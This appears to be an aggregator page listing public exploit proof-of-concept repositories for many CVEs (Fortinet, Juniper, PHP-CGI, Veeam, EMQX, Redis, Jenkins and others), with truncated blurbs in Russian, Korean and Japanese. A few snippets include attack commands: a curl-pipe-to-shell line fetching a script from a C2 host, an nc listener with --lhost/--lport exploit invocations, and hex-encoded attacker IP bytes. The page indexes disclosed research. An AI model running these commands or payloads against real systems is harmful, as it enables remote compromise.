CVE-2019-11932

CVE-2019-11932 Измените адрес прослушивания адрес атакующего и порт прослушивания в файле exploit.c Следующий hex-код: 3139 322e 3136 382e 322e 3732 2034 3434 3420 Скомпилируйте код: gcc -o exploit egiflib.c exploit.c Запустите скомпилированный файл ./exploit exploit.gif Скопируйте/вставьте вывод...

CVE-2025-32756-POC

CVE-2025-32756: Fortinet RCE PoC Доказательство концепции для критической уязвимости переполнения буфера в стеке CVE-2025-32756, затрагивающей продукты Fortinet. Уязвимость CVSS : 9.8 Критический Тип : Переполнение буфера в стеке при обработке cookie AuthHash Воздействие : Неаутентифицированное...

CVE-2025-52136

CVE-2025-52136 root@kitploit: https://github.com/ricardojoserf/emqx-RCE 원래 이용 방식은 emqx 플러그인을 업로드하고, 플러그인 템플릿 코드에 Erlang os 모듈을 추가하여 시스템 명령을 호출해 RCE를 실행하는 방식입니다. 출망 환경에서는 기본적으로 curl이 존재하므로, curl http://xx.xx.xx.xx/1.sh | sh를 통해 직접 C2에 연결할 수 있습니다. 타깃이 출망이 아닌 경우, EMQX 자체가 MQTT 메시지 서버이므로 플러그인 업로드와 함께...

CVE-2026-22812-POC

OpenCode CVE-2026-22812 익스플로이터 OpenCode 취약점CVE-2026-22812을 확인하고 익스플로잇하기 위한 간단한 Python 도구입니다. 설치 root@kitploit: git clone https://github.com/CayberMods/CVE-2026-22812-POC.git cd CVE-2026-22812-POC pip install requests urllib3 argparse concurrent-log-handler colorama 기본 사용법 root@kitploit: 단일 대상 확인...

watchTowr-vs-FortiWeb-CVE-2025-25257

watchTowr-vs-FortiWeb-CVE-2025-25257 FortiWeb CVE-2025-25257용 탐지 아티팩트 생성기 기술적 세부 사항은 블로그 게시물을 참조하세요. https://github.com/user-attachments/assets/e59f2b3b-2b9b-469f-b4a8-2b7df2ede194 동작 중 탐지 root@kitploit: python watchTowr-vs-FortiWeb-CVE-2025-25257.py --target https://192.168.8.30/ --lhost...

CVE-2024-47051

Краткое описание Плохая санитизация содержимого, типа и расширения загружаемого файла в функции редактирования Asset позволяет аутентифицированному злоумышленнику записать произвольный PHP-код в веб-каталог и определить, куда этот файл записан. Это приводит к удаленному выполнению кода. Обход пут...

Watchguard-RCE-POC-CVE-2022-26318

Watchguard-RCE-POC-CVE-2022-26318 Watchguard RCE POC CVE-2022-26318 CVE для этой проблемы - CVE-2022-26318...

juniper-rce_cve-2023-36844

CVE-2023-36844 , CVE-2023-36845 , CVE-2023-36846 , CVE-2023-36847 Доказательство концепции PoC для объединения CVE CVE-2023-36844, CVE-2023-36845, CVE-2023-36846, CVE-2023-36847, разработанное @watchTowr, для достижения удалённого выполнения кода Remote Code Execution в Juniper JunOS на продуктах...

CVE-2024-4577

CVE-2024-4577 @watchTowr가 개발한 PoCProof of Concept로, PHP CGI 인자 주입Argument Injection 취약점CVE-2024-4577을 악용하여 Windows 환경에서 실행되는 취약한 PHP 버전에서 RCE원격 코드 실행를 획득합니다. 이 취약점에 대한 상세 기술 분석 Orange Tsi 🍊 이 취약점은 DEVCORE @d3vc0r3의 Orange Tsai @orange8361가 발견했습니다. 그의 뛰어난 연구를 꼭 팔로우하세요. 우리의 역할은 이 문제에 대한 익스플로잇을 재현하고...

CVE-2024-40711

CVE-2024-40711 Veeam backup and Replication の事前認証デシリアライゼーション CVE-2024-40711 のエクスプロイト 技術的な詳細については、ブログ記事 を参照してください。 https://github.com/user-attachments/assets/24e8122c-3e84-408b-87a9-684a9aabeb70 PoCの動作 root@kitploit: CVE-2024-40711.exe -f binaryformatter -g Veeam -c http://192.168.201.1:8000/trigg...

CVE-2024-27130

CVE-2024-27130 Доказательство концепции, разработанное @watchTowr для эксплуатации уязвимости переполнения стека с целью получения RCE на уязвимом устройстве QNAP. Следите за командой watchTowr Labs в наших исследованиях безопасности https://labs.watchtowr.com/ https://twitter.com/watchtowrcyber...

cve-2022-42889-intercept

cve-2022-42889-intercept Java 11 미만 버전은 주의가 필요합니다. 더 높은 버전에서는 Javascript 인터프리터가 제거되었습니다. 이번 방안은 Java 8을 대상으로 합니다. JVM 시작 매개변수와 jps pid를 통해 불법 매개변수를 차단합니다. 빠른 시작 root@kitploit: -----------------------load...... cve-2022-42889 check start cve-2022-42889 isdeepmatch...

Fortijump-Exploit-CVE-2024-47575

CVE-2024-47575 Fortinet FortiManager 認証なしのリモートコード実行（別名 FortiJump）CVE-2024-47575 技術的な詳細については、当社のブログ記事を参照してください まず、ncat セッションを確立します: root@kitploit: nc -lvvnp 80 次に、検出アーティファクトジェネレーターを実行します: root@kitploit: python3 CVE-2024-47575.py --target 192.168.1.110 --lhost 192.168.1.53 --lport 80 --action explo...

CVE-2025-0282

CVE-2025-0282 Ivanti Connect Secure IFT TLS Stack Overflow Pre-auth RCE CVE-2025-0282 Этот код намеренно сломан нетривиальным образом и потребует усилий для работы, как было описано ранее в нашем блоге о методике эксплуатации. Чтобы понять эту уязвимость, вы можете ознакомиться с нашим технически...

cve-2023-46604

Apache ActiveMQ CVE-2023-46604 CVE-2023-46604 — широко эксплуатируемая уязвимость, фигурирующая в списке KEV от CISA. Данная реализация эксплойта на Go позволяет выполнить reverse shell на целевой системе с использованием Nashorn-пейлоада или загрузить бинарный файл на цель и запустить его. Сборк...

CVE-2025-49844

CVE-2025-49844 – Redis Lua 파서 Use-After-Free Lua 청크 이름 GC 경쟁으로 인해 Redis 8.2.1에서 use-after-free 및 원격 코드 실행이 발생합니다. 개요 Redis는 스크립팅을 위해 Lua 5.1을 내장합니다. 8.2.1 이하 버전에서 luaYparser 함수는 렉서를 호출하기 전에 청크 이름 문자열을 Lua 스택에 고정anchor하지 않습니다. 악의적으로 조작된 스크립트는 파서가 해제된 문자열을 여전히 참조하는 동안 가비지 컬렉션을 트리거할 수 있으며, 이로 인해 UAF...

CVE-2015-1635-POC

CVE-2015-1635-POC、MS15-034 HTTP.sys HTTP.sys — это драйвер ядра Microsoft Windows, обрабатывающий HTTP-запросы. Он был введён с IIS 6.0 для оптимизации производительности сервера IIS, и процессы службы IIS зависят от HTTP.sys. Уязвимость удалённого выполнения кода в HTTP.sys по сути является...

CVE-2017-1000353

CVE-2017-1000353 POC Как воспроизвести уязвимость Jenkins CVE-2017-1000353? Клонируйте этот репозиторий, используйте готовую полезную нагрузку jenkinspoc.ser с помощью следующей команды: root@kitploit: python exploit.py http://your-ip:8080 jenkinspoc.ser После этого будет выполнена команда touch...

CVE-2024-37084

CVE-2024-37084 Удаленное выполнение кода в Spring Cloud...

CVE-2024-44902

CVE-2024-44902 Описание уязвимости Уязвимость десериализации в Thinkphp v6.1.3–v8.0.4 позволяет злоумышленникам выполнять произвольный код. Затронутые версии Thinkphp с v6.1.3 по v8.0.4 Условие эксплуатации В фреймворке thinkphp должно быть установлено расширение Memcached. Подтверждение уязвимос...